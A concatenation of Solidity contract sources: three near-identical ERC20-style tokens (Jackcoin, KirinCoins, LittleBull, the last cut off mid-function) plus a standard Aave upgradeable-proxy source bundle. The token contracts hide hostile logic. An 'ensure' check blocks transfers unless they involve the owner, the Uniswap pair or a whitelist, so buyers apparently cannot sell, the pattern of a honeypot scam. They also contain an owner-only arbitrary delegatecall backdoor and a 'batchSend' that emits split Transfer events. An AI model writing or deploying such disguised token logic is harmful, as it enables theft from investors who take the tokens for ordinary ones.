require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Jackcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Kirin Coins
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KirinCoins {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/protocol/libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity 0.6.12;\n\nimport './BaseImmutableAdminUpgradeabilityProxy.sol';\nimport '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol';\n\n/**\n * @title InitializableAdminUpgradeabilityProxy\n * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function\n */\ncontract InitializableImmutableAdminUpgradeabilityProxy is\n BaseImmutableAdminUpgradeabilityProxy,\n InitializableUpgradeabilityProxy\n{\n constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {}\n\n /**\n * @dev Only fall back when the sender is not the admin.\n */\n function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) {\n BaseImmutableAdminUpgradeabilityProxy._willFallback();\n }\n}\n"
},
"contracts/protocol/libraries/aave-upgradeability/BaseImmutableAdminUpgradeabilityProxy.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity 0.6.12;\n\nimport '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol';\n\n/**\n * @title BaseImmutableAdminUpgradeabilityProxy\n * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern\n * @dev This contract combines an upgradeability proxy with an authorization\n * mechanism for administrative tasks. The admin role is stored in an immutable, which\n * helps saving transactions costs\n * All external functions in this contract must be guarded by the\n * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity\n * feature proposal that would enable this to be done automatically.\n */\ncontract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {\n address immutable ADMIN;\n\n constructor(address admin) public {\n ADMIN = admin;\n }\n\n modifier ifAdmin() {\n if (msg.sender == ADMIN) {\n _;\n } else {\n _fallback();\n }\n }\n\n /**\n * @return The address of the proxy admin.\n */\n function admin() external ifAdmin returns (address) {\n return ADMIN;\n }\n\n /**\n * @return The address of the implementation.\n */\n function implementation() external ifAdmin returns (address) {\n return _implementation();\n }\n\n /**\n * @dev Upgrade the backing implementation of the proxy.\n * Only the admin can call this function.\n * @param newImplementation Address of the new implementation.\n */\n function upgradeTo(address newImplementation) external ifAdmin {\n _upgradeTo(newImplementation);\n }\n\n /**\n * @dev Upgrade the backing implementation of the proxy and call a function\n * on the new implementation.\n * This is useful to initialize the proxied contract.\n * @param newImplementation Address of the new implementation.\n * @param data Data to send as msg.data in the low level call.\n * It should include the signature and the parameters of the function to be called, as described in\n * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.\n */\n function upgradeToAndCall(address newImplementation, bytes calldata data)\n external\n payable\n ifAdmin\n {\n _upgradeTo(newImplementation);\n (bool success, ) = newImplementation.delegatecall(data);\n require(success);\n }\n\n /**\n * @dev Only fall back when the sender is not the admin.\n */\n function _willFallback() internal virtual override {\n require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin');\n super._willFallback();\n }\n}\n"
},
"contracts/dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity 0.6.12;\n\nimport './Proxy.sol';\nimport '../contracts/Address.sol';\n\n/**\n * @title BaseUpgradeabilityProxy\n * @dev This contract implements a proxy that allows to change the\n * implementation address to which it will delegate.\n * Such a change is called an implementation upgrade.\n */\ncontract BaseUpgradeabilityProxy is Proxy {\n /**\n * @dev Emitted when the implementation is upgraded.\n * @param implementation Address of the new implementation.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation.\n * @return impl Address of the current implementation\n */\n function _implementation() internal override view returns (address impl) {\n bytes32 slot = IMPLEMENTATION_SLOT;\n //solium-disable-next-line\n assembly {\n impl := sload(slot)\n }\n }\n\n /**\n * @dev Upgrades the proxy to a new implementation.\n * @param newImplementation Address of the new implementation.\n */\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Sets the implementation address of the proxy.\n * @param newImplementation Address of the new implementation.\n */\n function _setImplementation(address newImplementation) internal {\n require(\n Address.isContract(newImplementation),\n 'Cannot set a proxy implementation to a non-contract address'\n );\n\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n //solium-disable-next-line\n assembly {\n sstore(slot, newImplementation)\n }\n }\n}\n"
},
"contracts/dependencies/openzeppelin/upgradeability/Proxy.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity ^0.6.0;\n\n/**\n * @title Proxy\n * @dev Implements delegation of calls to other contracts, with proper\n * forwarding of return values and bubbling of failures.\n * It defines a fallback function that delegates all calls to the address\n * returned by the abstract _implementation() internal function.\n */\nabstract contract Proxy {\n /**\n * @dev Fallback function.\n * Implemented entirely in `_fallback`.\n */\n fallback() external payable {\n _fallback();\n }\n\n /**\n * @return The Address of the implementation.\n */\n function _implementation() internal virtual view returns (address);\n\n /**\n * @dev Delegates execution to an implementation contract.\n * This is a low level function that doesn't return to its internal call site.\n * It will return to the external caller whatever the implementation returns.\n * @param implementation Address to delegate.\n */\n function _delegate(address implementation) internal {\n //solium-disable-next-line\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev Function that is run as the first thing in the fallback function.\n * Can be redefined in derived contracts to add functionality.\n * Redefinitions must call super._willFallback().\n */\n function _willFallback() internal virtual {}\n\n /**\n * @dev fallback implementation.\n * Extracted to enable manual triggering.\n */\n function _fallback() internal {\n _willFallback();\n _delegate(_implementation());\n }\n}\n"
},
"contracts/dependencies/openzeppelin/contracts/Address.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity 0.6.12;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\n // for accounts without code, i.e. `keccak256('')`\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, 'Address: insufficient balance');\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{value: amount}('');\n require(success, 'Address: unable to send value, recipient may have reverted');\n }\n}\n"
},
"contracts/dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol": {
"content": "// SPDX-License-Identifier: agpl-3.0\npragma solidity 0.6.12;\n\nimport './BaseUpgradeabilityProxy.sol';\n\n/**\n * @title InitializableUpgradeabilityProxy\n * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing\n * implementation and init data.\n */\ncontract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {\n /**\n * @dev Contract initializer.\n * @param _logic Address of the initial implementation.\n * @param _data Data to send as msg.data to the implementation to initialize the proxied contract.\n * It should include the signature and the parameters of the function to be called, as described in\n * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.\n * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.\n */\n function initialize(address _logic, bytes memory _data) public payable {\n require(_implementation() == address(0));\n assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));\n _setImplementation(_logic);\n if (_data.length > 0) {\n (bool success, ) = _logic.delegatecall(_data);\n require(success);\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "istanbul",
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
|
DC1
|
//SPDX-License-Identifier: Unlicense
// ----------------------------------------------------------------------------
// 'LittleBull Coin' token contract
//
// Symbol : LittleBull
// Name : LittleBull Coin
// Total supply: 100,000,000,000,000
// Decimals : 18
// Burned : 50%
// ----------------------------------------------------------------------------
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LittleBull {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
